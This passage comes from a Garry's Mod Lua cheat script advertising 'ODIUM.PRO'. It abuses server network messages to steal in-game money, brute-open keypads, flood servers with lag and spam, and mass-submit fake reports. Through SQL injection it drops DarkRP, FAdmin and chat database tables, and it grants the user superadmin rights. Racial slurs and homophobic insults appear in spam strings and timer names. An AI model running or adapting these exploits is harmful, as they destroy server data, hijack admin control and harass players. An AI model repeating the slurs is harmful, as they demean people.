  666. odium.G.net.Start(netMessage)
  667. net.WriteEntity(v)
  668. odium.G.net.WriteUInt(2, 4)
  669. odium.G.net.SendToServer()
  670. end
  671. end
  672. end
  673.  
  674. local cps = false
  675. concommand.Add( "zxc_customizeableprinters", function()
  676. cps = !cps
  677. if( cps ) then
  678. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Customizeable Printers cash stealer ", Color(0,255,0), "enabled\n")
  679. timer.Create( "cps", 0, 0, ZXC.CustomPrinters)
  680. else
  681. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"Exploit",Color(197,200,255),"] ",Color(255,255,255),"Customizeable Printers cash stealer ", Color(255,0,0), "disabled\n")
  682. timer.Destroy( "cps" )
  683. end
  684. end )
  685.  
  686.  
  687. function ZXC.KeypadSoundSpam()
  688. for k, v in pairs(ents.GetAll()) do
  689. if (v:GetClass():lower() == "keypad" && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 135 ) then
  690. odium.G.net.Start("Keypad")
  691. net.WriteEntity(v)
  692. odium.G.net.WriteUInt(0, 8)
  693. odium.G.net.SendToServer()
  694. odium.G.net.Start("Keypad")
  695. net.WriteEntity(v)
  696. odium.G.net.WriteUInt(2, 4)
  697. odium.G.net.SendToServer()
  698. end
  699. end
  700. end
  701.  
  702. local sks = false
  703. concommand.Add( "zxc_keypad_spam_sound", function()
  704. sks = !sks
  705. if( sks ) then
  706. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Spam keypad sounds ", Color(0,255,0), "enabled\n")
  707. timer.Create( "sks", 0.05, 0, ZXC.KeypadSoundSpam)
  708. else
  709. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Spam keypad sounds ", Color(255,0,0), "disabled\n")
  710. timer.Destroy( "sks" )
  711. end
  712. end )
  713.  
  714. function ZXC.OpenKeypad()
  715. for k, v in pairs(ents.GetAll()) do
  716. if (v:GetClass():lower() == "keypad" && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 135 ) then
  717. if maxcodes:GetInt() == 4 then
  718. odium.G.net.Start("Keypad")
  719. net.WriteEntity(v)
  720. odium.G.net.WriteUInt(0, 4)
  721. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 1, 1 ), 8)
  722. odium.G.net.SendToServer()
  723. odium.G.net.Start("Keypad")
  724. net.WriteEntity(v)
  725. odium.G.net.WriteUInt(0, 4)
  726. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 2, 2 ), 8)
  727. odium.G.net.SendToServer()
  728. odium.G.net.Start("Keypad")
  729. net.WriteEntity(v)
  730. odium.G.net.WriteUInt(0, 4)
  731. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 3, 3 ), 8)
  732. odium.G.net.SendToServer()
  733. odium.G.net.Start("Keypad")
  734. net.WriteEntity(v)
  735. odium.G.net.WriteUInt(0, 4)
  736. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 4, 4 ), 8)
  737. odium.G.net.SendToServer()
  738. odium.G.net.Start("Keypad")
  739. net.WriteEntity(v)
  740. odium.G.net.WriteUInt(1, 4)
  741. odium.G.net.SendToServer()
  742. elseif maxcodes:GetInt() == 3 then
  743. odium.G.net.Start("Keypad")
  744. net.WriteEntity(v)
  745. odium.G.net.WriteUInt(0, 4)
  746. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 1, 1 ), 8)
  747. odium.G.net.SendToServer()
  748. odium.G.net.Start("Keypad")
  749. net.WriteEntity(v)
  750. odium.G.net.WriteUInt(0, 4)
  751. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 2, 2 ), 8)
  752. odium.G.net.SendToServer()
  753. odium.G.net.Start("Keypad")
  754. net.WriteEntity(v)
  755. odium.G.net.WriteUInt(0, 4)
  756. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 3, 3 ), 8)
  757. odium.G.net.SendToServer()
  758. odium.G.net.Start("Keypad")
  759. net.WriteEntity(v)
  760. odium.G.net.WriteUInt(1, 4)
  761. odium.G.net.SendToServer()
  762. elseif maxcodes:GetInt() == 2 then
  763. odium.G.net.Start("Keypad")
  764. net.WriteEntity(v)
  765. odium.G.net.WriteUInt(0, 4)
  766. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 1, 1 ), 8)
  767. odium.G.net.SendToServer()
  768. odium.G.net.Start("Keypad")
  769. net.WriteEntity(v)
  770. odium.G.net.WriteUInt(0, 4)
  771. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 2, 2 ), 8)
  772. odium.G.net.SendToServer()
  773. odium.G.net.Start("Keypad")
  774. net.WriteEntity(v)
  775. odium.G.net.WriteUInt(1, 4)
  776. odium.G.net.SendToServer()
  777. elseif maxcodes:GetInt() == 1 then
  778. odium.G.net.Start("Keypad")
  779. net.WriteEntity(v)
  780. odium.G.net.WriteUInt(0, 4)
  781. odium.G.net.WriteUInt(string.sub( keypadcode:GetInt(), 1, 1 ), 8)
  782. odium.G.net.SendToServer()
  783. odium.G.net.Start("Keypad")
  784. net.WriteEntity(v)
  785. odium.G.net.WriteUInt(1, 4)
  786. odium.G.net.SendToServer()
  787. end
  788. end
  789. end
  790. end
  791.  
  792. concommand.Add( "zxc_keypad_open", ZXC.OpenKeypad)
  793.  
  794. local spok = false
  795. concommand.Add( "zxc_keypad_spam_open", function()
  796. spok = !spok
  797. if( spok ) then
  798. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Spam open keypad ", Color(0,255,0), "enabled\n")
  799. timer.Create( "spok", 0.15, 0, ZXC.OpenKeypad)
  800. else
  801. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Spam open keypad ", Color(255,0,0), "disabled\n")
  802. timer.Destroy( "spok" )
  803. end
  804. end )
  805.  
  806. local kekmsg = CreateClientConVar("zxc_ulx_cc_flstring", "BUY ODIUM.PRO", true, false)
  807.  
  808. local function spamtoplayer( ply )
  809. local buyit = {}
  810. for i = 1, 10 do
  811. table.insert( buyit, kekmsg:GetString() )
  812. end
  813.  
  814. odium.G.net.Start( "sendtable" )
  815. net.WriteEntity( ply )
  816. net.WriteTable( buyit )
  817. odium.G.net.SendToServer()
  818. end
  819.  
  820. concommand.Add("zxc_ulx_cc_flspam", function()
  821. for k, v in pairs( player.GetAll() ) do
  822. spamtoplayer( v )
  823. end
  824. end )
  825.  
  826. concommand.Add( "zxc_ulx_cc_flspamtog", function()
  827. if !timer.Exists( "bighakes" ) then
  828. timer.Create( "bighakes", 0.5, 0, function()
  829. for k, v in pairs( player.GetAll() ) do
  830. spamtoplayer( v )
  831. end
  832. end)
  833. else
  834. timer.Remove( "bighakes" )
  835. end
  836. end)
  837.  
  838. //m4a1 assault rifle
  839. concommand.Add("zxc_armory_1", function()
  840. odium.G.net.Start("ARMORY_RetrieveWeapon")
  841. odium.G.net.WriteString("weapon1")
  842. odium.G.net.SendToServer()
  843. end )
  844. //m3 shotgun
  845. concommand.Add("zxc_armory_2", function()
  846. odium.G.net.Start("ARMORY_RetrieveWeapon")
  847. odium.G.net.WriteString("weapon2")
  848. odium.G.net.SendToServer()
  849. end )
  850. //m21 sniper
  851. concommand.Add("zxc_armory_3", function()
  852. odium.G.net.Start("ARMORY_RetrieveWeapon")
  853. odium.G.net.WriteString("weapon3")
  854. odium.G.net.SendToServer()
  855. end )
  856.  
  857. local function SpamFactions(ply)
  858. odium.G.net.Start("FactionInviteConsole")
  859. net.WriteEntity(ply)
  860. net.WriteEntity(table.Random(player.GetAll()))
  861. odium.G.net.SendToServer()
  862. end
  863.  
  864. concommand.Add("zxc_exploit_factions", function(ply, cmd, args)
  865. timer.Create("wewladdy", 1, 0, function()
  866. for k, v in pairs(player.GetAll()) do
  867. SpamFactions(v)
  868. end
  869. end)
  870. end)
  871.  
  872. local charset = {}
  873.  
  874. -- qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890
  875. for i = 48, 57 do table.insert(charset, string.char(i)) end
  876. for i = 65, 90 do table.insert(charset, string.char(i)) end
  877. for i = 97, 122 do table.insert(charset, string.char(i)) end
  878.  
  879. function random_string(length)
  880. math.randomseed(os.time())
  881.  
  882. if length > 0 then
  883. return random_string(length - 1) .. charset[math.random(1, #charset)]
  884. else
  885. return ""
  886. end
  887. end
  888.  
  889. local rainbow = {
  890. R = math.sin(CurTime() * 4) * 127 + 128,
  891. G = math.sin(CurTime() * 4 + 2) * 127 + 128,
  892. B = math.sin(CurTime() * 4 + 4) * 127 + 128,
  893. }
  894.  
  895. function random_color()
  896. return Color(rainbow.R / 255, rainbow.G / 255, rainbow.B / 255)
  897. end
  898.  
  899. concommand.Add("zxc_exploit_factions_spam", function(ply, cmd, args)
  900. timer.Create("fuckniggers", 1, 0, function()
  901. odium.G.net.Start("FacCreate")
  902. odium.G.net.WriteString("GET ODIUM.PRO TODAY " .. random_string(5))
  903. odium.G.net.WriteString("GET ODIUM.PRO TODAY " .. random_string(10))
  904. net.WriteColor(random_color())
  905. net.WriteBool(false)
  906. odium.G.net.WriteString(random_string(5))
  907. odium.G.net.SendToServer()
  908. end)
  909. end)
  910.  
  911. // 1942 rp
  912. concommand.Add("zxc_pog_fuhrerspam", function()
  913. odium.G.net.Start("1942_Fuhrer_SubmitCandidacy")
  914. odium.G.net.WriteString(LocalPlayer():Nick())
  915. odium.G.net.SendToServer()
  916. end )
  917.  
  918. // 1942 rp
  919. concommand.Add("zxc_pog_reportall", function()
  920. for i = 0, 100 do
  921. for k,v in pairs(player.GetAll()) do
  922. odium.G.net.Start("pogcp_report_submitReport")
  923. odium.G.net.WriteString("complete and utter nigger")
  924. odium.G.net.WriteString("nicde security retards")
  925. net.WriteEntity(v)
  926. odium.G.net.SendToServer()
  927. end
  928. end
  929. end )
  930.  
  931. concommand.Add("zxc_textscreenlag", function()
  932. for i = 0, 2500 do
  933. for k,v in pairs(player.GetAll()) do
  934. odium.G.net.Start("textscreens_download") net.WriteEntity(v) odium.G.net.SendToServer()
  935. end
  936. end
  937. end )
  938.  
  939. local hooktable = hook.GetTable()
  940. local one = {}
  941. local two = {}
  942.  
  943. for i = 1, 10 do
  944. table.insert(one, "!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n")
  945. table.insert(two, "!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n")
  946. end
  947.  
  948.  
  949. function spamfuckers(ply)
  950. odium.G.net.Start( "hsend" )
  951. net.WriteTable( one )
  952. net.WriteTable( two )
  953. net.WriteEntity( ply )
  954. odium.G.net.WriteString( "!! GET ODIUM.PRO !!" )
  955. odium.G.net.SendToServer()
  956. end
  957.  
  958. concommand.Add("zxc_ulxextended_hooks", function()
  959. timer.Create("kekeke", 0.5, 0, function()
  960. for k, v in pairs(player.GetAll()) do
  961. spamfuckers(v)
  962. end
  963. end)
  964. end)
  965.  
  966. local three = {}
  967. local four = {}
  968. local contable = concommand.GetTable()
  969.  
  970. for i = 1, 10 do
  971. table.insert(three, "!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n")
  972. table.insert(four, "!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n!!ODIUM.PRO!!\n")
  973. end
  974.  
  975. function spamfuckers2(ply)
  976. odium.G.net.Start( "send" )
  977. net.WriteTable( three )
  978. net.WriteTable( four )
  979. net.WriteEntity( ply )
  980. odium.G.net.WriteString( "!! GET ODIUM.PRO !!" ) // or table.Random(player.GetAll()):Nick()
  981. odium.G.net.SendToServer()
  982. end
  983.  
  984. concommand.Add("zxc_ulx_cc_commandtable", function()
  985. timer.Create('wowthisisgay', 1, 0, function()
  986. for k, v in pairs(player.GetAll()) do
  987. spamfuckers2(v)
  988. end
  989. end)
  990. end)
  991.  
  992. function fucktheirdata(str)
  993. odium.G.net.Start( "WriteQuery" )
  994. odium.G.net.WriteString( str )
  995. odium.G.net.SendToServer()
  996. end
  997.  
  998. concommand.Add("zxc_ulx_cc_notepadspam", function()
  999. if !timer.Exists("fuckinggay") then
  1000. timer.Create("fuckinggay", 1, 0, function()
  1001. fucktheirdata("!!!BUY ODIUM.PRO!!! " .. random_string(5))
  1002. end)
  1003. else
  1004. timer.Remove("fuckinggay")
  1005. end
  1006. end)
  1007.  
  1008. function unbuildply(ply)
  1009. odium.G.net.Start( "BuilderXToggleKill" ) // for some shitty build addon I dont even remember
  1010. net.WriteEntity( ply )
  1011. odium.G.net.SendToServer()
  1012. end
  1013.  
  1014. concommand.Add("zxc_builderx_unbuildall", function()
  1015. for k, v in pairs(player.GetAll()) do
  1016. unbuildply(v)
  1017. end
  1018. end)
  1019.  
  1020. //posiedon is aids
  1021. function fuckugarry(steamid, reason, details)
  1022. odium.G.net.Start( "TransferReport" )
  1023. odium.G.net.WriteString( steamId )
  1024. odium.G.net.WriteString( reason )
  1025. odium.G.net.WriteString( details )
  1026. odium.G.net.SendToServer()
  1027. end
  1028.  
  1029. concommand.Add("zxc_poseidon_reportall", function()
  1030. timer.Create("zxc_fuckuposeidon", 1, 0, function()
  1031. for k, v in pairs(player.GetAll()) do
  1032. fuckugarry(v:SteamID(), "FUCK U POSEIDON U DIRTY NIGGER", "!!!BUY ODIUM.PRO TODAY!!!")
  1033. end
  1034. end)
  1035. end)
  1036.  
  1037.  
  1038. function poseidoncansuckmynuts()
  1039. odium.G.net.Start("Chatbox_PlayerChat")
  1040. net.WriteEntity(LocalPlayer())
  1041. net.WriteBit(1)
  1042. odium.G.net.WriteString("!!!BUY ODIUM.PRO!!!")
  1043. net.WriteBit(1)
  1044. odium.G.net.SendToServer()
  1045. end
  1046.  
  1047. concommand.Add("zxc_wiloxchat_spam", function()
  1048. timer.Create("zxc_ripchatbox", 1, 0, poseidoncansuckmynuts)
  1049. end)
  1050.  
  1051. concommand.Add("zxc_stoptimers", function()
  1052. local timers = {
  1053. "kekeke",
  1054. "wowthisisgay",
  1055. "fuckinggay",
  1056. "zxc_fuckuposeidon",
  1057. "zxc_ripchatbox",
  1058. "wowursogay",
  1059. "fuckingrekt",
  1060. "spok",
  1061. "sks",
  1062. "cps",
  1063. "zxc_ripchatbox",
  1064. }
  1065.  
  1066. for k, v in pairs(timers) do
  1067. if timer.Exists(v) then
  1068. timer.Remove(v)
  1069. end
  1070. end
  1071. end)
  1072.  
  1073. function GGRP()
  1074. for k,v in pairs(player.GetAll()) do
  1075. odium.G.net.Start('reports.submit')
  1076. net.WriteEntity(v)
  1077. net.WriteInt(5, 8)
  1078. odium.G.net.WriteString("cya")
  1079. odium.G.net.SendToServer()
  1080. end
  1081. end
  1082. concommand.Add("zxc_gg_reportspam2", GGRP)
  1083.  
  1084. local GGRPS = false
  1085. concommand.Add( "zxc_gg_reportspam", function()
  1086. GGRPS = !GGRPS
  1087. if( GGRPS ) then
  1088. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"GG Report Spam ", Color(0,255,0), "enabled\n")
  1089. hook.Add( "Think", "GGRP", GGRP)
  1090. else
  1091. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"GG Report spam ", Color(255,0,0), "disabled\n")
  1092. hook.Remove("Think", "GGRP")
  1093. end
  1094. end )
  1095.  
  1096. concommand.Add("zxc_infernus_serviceaccept", function()
  1097. timer.Create("test", 0, 0, function()
  1098. for k,v in pairs(player.GetAll()) do
  1099. odium.G.net.Start("services_accept")
  1100. odium.G.net.WriteString("test 1")
  1101. net.WriteVector(Vector(v:GetPos()))
  1102. odium.G.net.WriteString("test image")
  1103. net.WriteEntity(v)
  1104. net.SendToSwerver()
  1105. end
  1106. end)
  1107. timer.Simple(4, function()
  1108. timer.Destroy("test")
  1109. end )
  1110. end )
  1111.  
  1112. function RealisticPrintersHeater()
  1113. for k, v in pairs(ents.GetAll()) do
  1114. if(v:GetClass():find("print") && v.Variables["enable"] == true && v.Variables["power"] <= 97 && v:GetPos():Distance( LocalPlayer():GetPos() ) >= 500) then
  1115. odium.G.net.Start("customprinter_get")
  1116. net.WriteEntity(v)
  1117. odium.G.net.WriteString("p_up")
  1118. odium.G.net.SendToServer()
  1119. end
  1120. end
  1121. end
  1122.  
  1123. function RealisticPrintersCooler()
  1124. for k, v in pairs(ents.GetAll()) do
  1125. if(v:GetClass():find("print") && v.Variables["enable"] == true && v.Variables["power"] >= 3 && v:GetPos():Distance( LocalPlayer():GetPos() ) >= 500) then
  1126. odium.G.net.Start("customprinter_get")
  1127. net.WriteEntity(v)
  1128. odium.G.net.WriteString("p_down")
  1129. odium.G.net.SendToServer()
  1130. end
  1131. end
  1132. end
  1133.  
  1134. function RealisticPrintersOn()
  1135. for k, v in pairs(ents.GetAll()) do
  1136. if(v:GetClass():find("print") && v.Variables["enable"] == false && v:GetPos():Distance( LocalPlayer():GetPos() ) >= 500) then
  1137. odium.G.net.Start("customprinter_get")
  1138. net.WriteEntity(v)
  1139. odium.G.net.WriteString("onoff")
  1140. odium.G.net.SendToServer()
  1141. end
  1142. end
  1143. end
  1144.  
  1145. function RealisticPrintersOff()
  1146. for k, v in pairs(ents.GetAll()) do
  1147. if(v:GetClass():find("print") && v.Variables["enable"] == true && v:GetPos():Distance( LocalPlayer():GetPos() ) >= 500) then
  1148. odium.G.net.Start("customprinter_get")
  1149. net.WriteEntity(v)
  1150. odium.G.net.WriteString("onoff")
  1151. odium.G.net.SendToServer()
  1152. end
  1153. end
  1154. end
  1155.  
  1156. function RealisticPrintersFarm()
  1157. for k, v in pairs(ents.GetAll()) do
  1158. if(v:GetClass():find("print") && v.Variables["enable"] == true && v:GetPos():Distance( LocalPlayer():GetPos() ) <= 250) then
  1159. if(v.Variables["money"] >= 500 ) then
  1160. odium.G.net.Start("customprinter_get")
  1161. net.WriteEntity(v)
  1162. odium.G.net.WriteString("g_money")
  1163. odium.G.net.SendToServer()
  1164. end
  1165. if(v.Variables["temp"] >= 80 && v.Variables["time"] >= 30 ) then
  1166. odium.G.net.Start("customprinter_get")
  1167. net.WriteEntity(v)
  1168. odium.G.net.WriteString("onoff")
  1169. odium.G.net.SendToServer()
  1170. timer.Simple(15, function()
  1171. odium.G.net.Start("customprinter_get")
  1172. net.WriteEntity(v)
  1173. odium.G.net.WriteString("onoff")
  1174. odium.G.net.SendToServer()
  1175. end )
  1176. end
  1177. end
  1178. end
  1179. end
  1180.  
  1181. local RPF = false
  1182. concommand.Add( "zxc_realprinters_farm", function()
  1183. RPF = !RPF
  1184. if( tst2 ) then
  1185. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer farmer ", Color(0,255,0), "enabled\n")
  1186. timer.Create( "RPF", 1, 0, RealisticPrintersFarm)
  1187. else
  1188. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer farmer ", Color(255,0,0), "disabled\n")
  1189. timer.Destroy( "RPF" )
  1190. end
  1191. end )
  1192.  
  1193. local RPE = false
  1194. concommand.Add( "zxc_realprinters_commandstart", function(ply,cmd,arg)
  1195. if (arg[1] == nil) then
  1196. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Useage: zxc_realprinters_commandstart heat/cool/on/off")
  1197. elseif (arg[1] == "heat") then
  1198. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer exploder ", Color(0,255,0), "enabled\n")
  1199. timer.Create("RPE"..arg[1], 0, 0, RealisticPrintersHeater)
  1200. elseif (arg[1] == "cool") then
  1201. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer cooler ", Color(0,255,0), "enabled\n")
  1202. timer.Create("RPE"..arg[1], 0, 0, RealisticPrintersCooler)
  1203. elseif (arg[1] == "on") then
  1204. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Force on spam ", Color(0,255,0), "enabled\n")
  1205. timer.Create("RPE"..arg[1], 0, 0, RealisticPrintersOn)
  1206. elseif (arg[1] == "off") then
  1207. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Force off spam ", Color(0,255,0), "enabled\n")
  1208. timer.Create("RPE"..arg[1], 0, 0, RealisticPrintersOff)
  1209. end
  1210. end )
  1211. concommand.Add("zxc_realprinters_commandstop", function(ply,cmd,arg)
  1212. if (arg[1] == nil) then
  1213. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Useage: zxc_realprinters_commandstop heat/cool/on/off")
  1214. elseif (arg[1] == "heat") then
  1215. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer exploder ", Color(255,0,0), "disabled\n")
  1216. elseif (arg[1] == "cool") then
  1217. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Realistic Printer cooler ", Color(255,0,0), "disabled\n")
  1218. elseif (arg[1] == "on") then
  1219. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Force on spam ", Color(255,0,0), "disabled\n")
  1220. elseif (arg[1] == "off") then
  1221. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255),"Force off spam ", Color(255,0,0), "disabled\n")
  1222. end
  1223. timer.Destroy("RPE"..arg[1])
  1224. end )
  1225.  
  1226. function hooolyshit(ply, reason)
  1227. odium.G.net.Start("Warn_CreateWarn")
  1228. net.WriteEntity(ply)
  1229. odium.G.net.WriteString(reason)
  1230. odium.G.net.SendToServer()
  1231. end
  1232.  
  1233. concommand.Add("zxc_jailbreak_c_warn", function()
  1234. timer.Create("niggers", 1, 0, function()
  1235. for k, v in pairs(player.GetAll()) do
  1236. hooolyshit(v, "!!!BUY ODIUM.PRO TODAY!!!")
  1237. end
  1238. end)
  1239. end)
  1240.  
  1241.  
  1242.  
  1243. function toomanysploits(ply, reason)
  1244. odium.G.net.Start("NewReport")
  1245. net.WriteType(ply)
  1246. net.WriteInt(8,5)
  1247. odium.G.net.WriteString(reason)
  1248. odium.G.net.SendToServer()
  1249. end
  1250.  
  1251. concommand.Add("zxc_jailbreak_c_report", function()
  1252. timer.Create("fuckmecunts", 1, 0, function()
  1253. for k, v in pairs(player.GetAll()) do
  1254. toomanysploits(v, "!!!BUY ODIUM.PRO TODAY!!!")
  1255. end
  1256. end)
  1257. end)
  1258.  
  1259. local function spamtoplayer2( )
  1260. local buyit2 = {}
  1261. for i = 1, 10 do
  1262. table.insert( buyit2, "!!!BUY ODIUM.PRO TODAY!!!" ) // there u go bby
  1263. end
  1264.  
  1265. odium.G.net.Start( "friendlist" )
  1266. net.WriteTable( buyit2 )
  1267. odium.G.net.SendToServer()
  1268. end
  1269.  
  1270. concommand.Add("zxc_ulxextended_friendslist", function()
  1271. timer.Create("wowursogay", 1, 0, spamtoplayer2)
  1272. end)
  1273.  
  1274. concommand.Add("zxc_vjbase_spam", function()
  1275. for k,v in pairs(player.GetAll()) do
  1276. odium.G.net.Start("VJSay")
  1277. net.WriteEntity(v)
  1278. net.WriteBool(0)
  1279. odium.G.net.WriteString("/ooc !! GET ODIUM.PRO !!")
  1280. odium.G.net.WriteString("bot/roger_that.wav")
  1281. odium.G.net.SendToServer()
  1282. end
  1283. --RunConsoleCommand("fadmin","ban","STEAM_0:1:64939230","0","wew")
  1284. end )
  1285.  
  1286. concommand.Add("zxc_hitmanx_givemoney", function()
  1287. odium.G.net.Start( "SendMoney" )
  1288. net.WriteEntity( LocalPlayer() )
  1289. net.WriteEntity( LocalPlayer() )
  1290. net.WriteEntity( LocalPlayer() )
  1291. odium.G.net.WriteString( "-1000000" )
  1292. odium.G.net.SendToServer()
  1293. end )
  1294.  
  1295. concommand.Add("zxc_hitmanx_giveallmoney", function()
  1296. for k,v in pairs(player.GetAll()) do
  1297. odium.G.net.Start( "SendMoney" )
  1298. net.WriteEntity( v )
  1299. net.WriteEntity( v )
  1300. net.WriteEntity( v )
  1301. odium.G.net.WriteString( "-10000000000000" )
  1302. odium.G.net.SendToServer()
  1303. end
  1304. end )
  1305.  
  1306. concommand.Add("zxc_hitmanx_removeallmoney", function()
  1307. for k,v in pairs(player.GetAll()) do
  1308. odium.G.net.Start( "SendMoney" )
  1309. net.WriteEntity( v )
  1310. net.WriteEntity( v )
  1311. net.WriteEntity( v )
  1312. odium.G.net.WriteString( "100000000000000" )
  1313. odium.G.net.SendToServer()
  1314. end
  1315. end )
  1316.  
  1317. concommand.Add("zxc_watchdogs_keypad", function()
  1318. odium.G.net.Start("start_wd_emp")
  1319. odium.G.net.SendToServer()
  1320. end)
  1321.  
  1322. concommand.Add("zxc_reportaddon_deletedb", function()
  1323. chat.AddText(Color(197,200,255),"-----------------------------------------")
  1324. local dbname = {"permaprops", "darkrp_jobspawn", "darkrp_position", "darkrp_player", "darkrp_door", "darkrp_doorgroups", "FAdminBans", "FAdmin_ServerSettings", "playerdata", "atlaschat_players", "atlaschat_ranks", "atlaschat_restrictions", "atlaschat_remote"}
  1325. for k,v in pairs(dbname) do
  1326. local tbl = {}
  1327. tbl.tblname = "darkrp_door; DROP TABLE "..v.."; CREATE TABLE "..v.."(a STRING)"
  1328. tbl.ply = LocalPlayer()
  1329. odium.G.net.Start("pplay_sendtable")
  1330. net.WriteTable(tbl)
  1331. odium.G.net.SendToServer()
  1332. chat.AddText(Color(197,200,255),"[",Color(197,200,255),"ZXC",Color(197,200,255),"] ",Color(255,255,255), "Dropped Table: ", Color(0,215,0), v)
  1333. end
  1334. chat.AddText(Color(197,200,255),"-----------------------------------------")
  1335. end )
  1336.  
  1337. concommand.Add("zxc_reportaddon_givesuper", function()
  1338. local id = LocalPlayer():SteamID()
  1339. local tbl = {}
  1340.  
  1341. tbl.name = "FAdmin_PlayerGroup"
  1342. tbl.where = {
  1343. "steamid",
  1344. tostring(id)
  1345. }
  1346.  
  1347. odium.G.net.Start("pplay_deleterow")
  1348. net.WriteTable(tbl)
  1349. odium.G.net.SendToServer()
  1350.  
  1351. local tbl = {}
  1352. tbl.tblname = "FAdmin_PlayerGroup"
  1353. tbl.tblinfo = {
  1354. tostring(id),
  1355. "superadmin"
  1356. }
  1357.  
  1358. odium.G.net.Start("pplay_addrow")
  1359. net.WriteTable(tbl)
  1360. odium.G.net.SendToServer()
  1361.  
  1362. end )
  1363.  
  1364.  
  1365.  
  1366.  
  1367.  
  1368.  
  1369.  
  1370.  
  1371.  
  1372.  
  1373.  
  1374.  
  1375.  
  1376.  
  1377.  
  1378.  
  1379.  
  1380.  
  1381.  
  1382.  
  1383.  
  1384.  
  1385.  
  1386.  
  1387.  
  1388.  
  1389.  
  1390.  
  1391. ----[--{ Misc }--]----
  1392.  
  1393.  
  1394. function clearcon()
  1395. for i = 0, 100 do
  1396. print(" ")
  1397. end
  1398. end
  1399.  
  1400. function clearchat()
  1401. for i = 0, 100 do
  1402. chat.AddText(" ")
  1403. end
  1404. end
  1405.  
  1406. concommand.Add("zxc_stoperrors", function()
